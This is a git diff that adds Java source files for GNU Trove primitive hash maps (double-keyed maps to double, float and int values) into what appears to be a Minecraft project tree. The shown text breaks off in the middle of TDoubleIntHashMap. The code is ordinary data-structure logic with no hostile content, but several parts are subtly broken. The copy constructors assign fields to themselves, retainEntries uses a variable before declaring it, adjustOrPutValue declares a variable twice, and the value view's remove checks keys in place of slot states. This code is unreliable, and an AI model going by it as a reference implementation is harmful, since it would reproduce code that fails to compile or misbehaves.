+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleDoubleIterator
+  {
+    TDoubleDoubleHashIterator(TDoubleDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleDoubleMap)) {
+      return false;
+    }
+    TDoubleDoubleMap that = (TDoubleDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleFloatHashMap.java
new file mode 100644
index 0000000..c2076af
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleFloatHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleFloatIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TDoubleFloatMap;
+import gnu.trove.procedure.TDoubleFloatProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleFloatHashMap
+  extends TDoubleFloatHash
+  implements TDoubleFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TDoubleFloatHashMap() {}
+  
+  public TDoubleFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleFloatHashMap(int initialCapacity, float loadFactor, double noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleFloatHashMap(double[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleFloatHashMap(TDoubleFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleFloatHashMap)) {
+      TDoubleFloatHashMap hashmap = (TDoubleFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(double key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(double key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(double key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Float> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(double key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleFloatIterator iterator()
+  {
+    return new TDoubleFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(double key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(double key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleFloatHashMap.TDoubleFloatKeyHashIterator(TDoubleFloatHashMap.this, TDoubleFloatHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleFloatHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TDoubleFloatHashMap.TDoubleFloatValueHashIterator(TDoubleFloatHashMap.this, TDoubleFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TDoubleFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleFloatIterator
+  {
+    TDoubleFloatHashIterator(TDoubleFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleFloatMap)) {
+      return false;
+    }
+    TDoubleFloatMap that = (TDoubleFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleIntHashMap.java
new file mode 100644
index 0000000..631ce37
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleIntHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIntIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TDoubleIntMap;
+import gnu.trove.procedure.TDoubleIntProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleIntHashMap
+  extends TDoubleIntHash
+  implements TDoubleIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TDoubleIntHashMap() {}
+  
+  public TDoubleIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleIntHashMap(int initialCapacity, float loadFactor, double noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleIntHashMap(double[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleIntHashMap(TDoubleIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleIntHashMap)) {
+      TDoubleIntHashMap hashmap = (TDoubleIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
